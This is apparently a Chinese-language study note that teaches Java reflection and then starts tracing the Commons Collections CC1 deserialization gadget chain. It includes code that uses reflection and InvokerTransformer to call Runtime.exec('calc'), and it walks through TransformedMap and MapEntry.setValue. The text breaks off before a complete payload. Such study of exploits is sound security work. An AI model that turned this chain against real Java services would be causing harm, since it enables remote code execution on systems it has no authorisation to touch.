反射机制

概念:

反射是Java的特征之一,是一种间接操作目标对象的机制,核心是JVM在运行状态的时候才动态加载类,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象,都能够调用它的方法/访问属性。这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。

解释:

下图是java运行的一个流程图:

图片预览

类文件会被javac编译成class文件 不过值得注意的是class文件还会自动生成一个Class对象 里面有各种变量和方法

1
2
3
fields[]:存了你定义的各种变量。
methods[]:存了你写的各种方法。
constructors[]:存了构造函数。

一旦你拿到了Class对象你就可以用Class对象中的获取成员变量Field,成员方法Method和构造方法Constructor等方法,再去动态获取一个类或者调用一个类的属性,变量,构造方法等方式。

反射机制本质是带给我们便利,但是便利可能就会带来安全隐患,所以我们可以使用Java的反射机制来绕过一些安全权限机制检查以及一些操作。

获取Class对象的方法

1.通过类名来获取

1
Class p1 = People.class;

2.通过getClass()方法来获取

不过前提是得有一个对象

1
2
Peole p2 = new People();
Class c2 = p2.getClass();

3.通过动态加载类

调用Class类中的forName()方法

1
2
Class c3 = Class.forName("com.reflectdemo.ReflectDemo");
// Class.forName(String className)

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class ReflectTemo {
public static void main(String[] args) throws ClassNotFoundException {
// 1. .class
Class c1 = ReflectTemo.class;
System.out.println("c1: " + c1.getName());

// 2. getClass()
ReflectTemo demo = new ReflectTemo();
Class c2 = demo.getClass();
System.out.println("c2: " + c2.getName());

// 3. Class.forName
Class c3 = Class.forName("ReflectTemo");
System.out.println("c3: " + c3.getName());
}
}

获取filed

1
2
3
4
5
6
7
Field[] getFields() :获取所有public修饰的成员变量

Field[] getDeclaredFields() 获取所有的成员变量,不考虑修饰符

Field getField(String name) 获取指定名称的 public修饰的成员变量

Field getDeclaredField(String name) 获取指定的成员变量

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import java.lang.reflect.Field;

public class FieldTest {
public String name;
public String profession;
protected int age;
private String number;
char sex;

public static void main(String[] args){
try{

Class c1 = Class.forName("FieldTest"); // 创建Class对象

Field[] fieldArray1 = c1.getDeclaredFields(); //获取全部成员变量
Field[] fieldArray2 = c1.getFields();// 获取全部public成员变量

for (Field field : fieldArray1){
System.out.println(field.getName());
}

System.out.println("-------分割线---------");

for (Field field : fieldArray2){
System.out.println(field.getName());
}
System.out.println("-------分割线---------");

Field fieldArray3 = c1.getField("name"); // 获取指定名称的public修饰的成员变量
System.out.println(fieldArray3.getName());
System.out.println("-------分割线---------");

Field fieldArray4 = c1.getDeclaredField("number"); // 获取指定的成员变量
System.out.println(fieldArray4.getName());
} catch (Exception e) {
e.printStackTrace();
}
}
}

获取成员方法Method

1
2
3
4
5
6
7
Method getMethod(String name, 类<?>... parameterTypes) //返回该类所声明的public方法

Method getDeclaredMethod(String name, 类<?>... parameterTypes) //返回该类所声明的所有方法

Method[] getMethods() //获取所有的public方法,包括类自身声明的public方法,父类中的public方法、实现的接口方法

Method[] getDeclaredMethods() // 获取该类中的所有方法

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import java.lang.reflect.Constructor;
public class ConstructorTest {
public ConstructorTest() {
System.out.println("无参构造函数");
}
public ConstructorTest(String name) {
System.out.println("有参构造函数" + name);
}
private ConstructorTest(boolean n) {
System.out.println("私有构造函数");
}
public static void main(String[] args) {
try {
Class c1 = Class.forName("ConstructorTest");
Constructor[] constructors1 = c1.getDeclaredConstructors();
Constructor[] constructors2 = c1.getConstructors();
for (Constructor c : constructors1) {
System.out.println(c);
}
System.out.println("-------分割线---------");
for (Constructor c : constructors2) {
System.out.println(c);
}
System.out.println("-------分割线---------");
Constructor constructors3 = c1.getConstructor(String.class);
System.out.println(constructors3);
System.out.println("-------分割线---------");
Constructor constructors4 = c1.getDeclaredConstructor(boolean.class);
System.out.println(constructors4);
} catch (Exception e) {
e.printStackTrace();
}
}
}

反射创建类对象

使用Class对象的newInstance()方法来进行创建类对象。

1
2
Class c1 = Class.forName('MethodTest');
Object m1 = c1.newInstance();

invoke()方法 构造形式如下:

1
public Object invoke(Object obj, Object... args)

利用反射调用runtime示例

请使用java 1.8

1
2
3
4
5
6
7
8
9
10
11
12
import java.lang.reflect.Constructor;

public class RuntimeTest {
public static void main(String[] args) throws Exception {
Class c1 = Class.forName("java.lang.Runtime");
Constructor m = c1.getDeclaredConstructor();
m.setAccessible(true);
//因为java.lang.Runtime的构造方法是private 使用这个来让我们可以访问 这就是反射的神奇之处
Object runtimeInstance = m.newInstance();
c1.getMethod("exec", String.class).invoke(runtimeInstance, "calc");
}
}

CC1 链

尾部是在Transform接口的InvokerTransformer子类 发现里面的transform()有反射机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
}

写个demo测试能否被调用

1
2
3
4
5
6
7
8
import org.apache.commons.collections.functors.InvokerTransformer;
public class CC1Test {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer n1 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
n1.transform(runtime);
}
}

接下就是继续找不同类的trasform()

TransformedMap类找到checkSetValue方法调用transform方法

image-20260309144029663

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

image-20260309144253984

valueTransformer是一个常量 他属性是protected 所以如果要调用的话还需要找到调用其构造方法的类

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

顶部的第一个方法 decorate就实现了调用构造方法

但是decorate没有任何东西调用 回到上一步checkvalue

找到 调用 checkSetValue 方法的类是 AbstractInputCheckedMapDecorator 类中的一个内部类 MapEntry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
}
}

因为我直接跟着追的 这里直接给出结论:

setValue() **实际上就是在 Map 中对一组 entry(键值对)**进行 setValue() 操作。

所以当我们调用decorete方法的时候 对map进行遍历的话就可以走到setValue() 从而调用checkvalue()方法